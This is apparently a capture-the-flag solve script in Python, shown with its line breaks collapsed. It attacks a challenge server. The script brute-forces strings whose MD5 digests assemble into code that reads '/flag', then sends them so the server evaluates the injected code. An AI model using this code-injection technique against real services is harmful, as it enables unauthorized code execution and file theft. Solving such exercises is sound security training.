#!/usr/bin/env python3 import hashlib import socket import sys import os def is_printable_ascii(c): string = chr(c) return string.isascii() and string.isprintable() def make_payload(line, salt): hashed = hashlib.md5((salt + line).encode("utf8")).digest() code = filter(is_printable_ascii, hashed) return bytes(code).decode("ascii") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # now connect to the web server on port 80 - the normal http port s.connect(("smartblockchain.ctf.zone", 8333)) salt = s.recv(64) print(salt) salt = salt.split()[-1].strip().decode("utf-8") print(salt) print(f"Here is your salt: {salt}") sys.stdout.flush() payload = "" want="print(open('/flag','r').read())" def bits(): for a in range(64): for b in range(64): for c in range(64): for d in range(64): yield chr(33+a) + chr(33+b) + chr(33+c) + chr(33+d) res = [] while want: for c in bits(): r = make_payload(c, salt) if r and want.startswith(r): print(c) res.append(c) print(r) want = want[len(r):] break out = open("blup", "w") for line in res: s.send((line + "\n").encode("utf-8")) if line[-1] == "\n": line = line[:-1] payload += make_payload(line, salt) s.shutdown(socket.SHUT_WR) print(s.recv(1000)) eval(payload)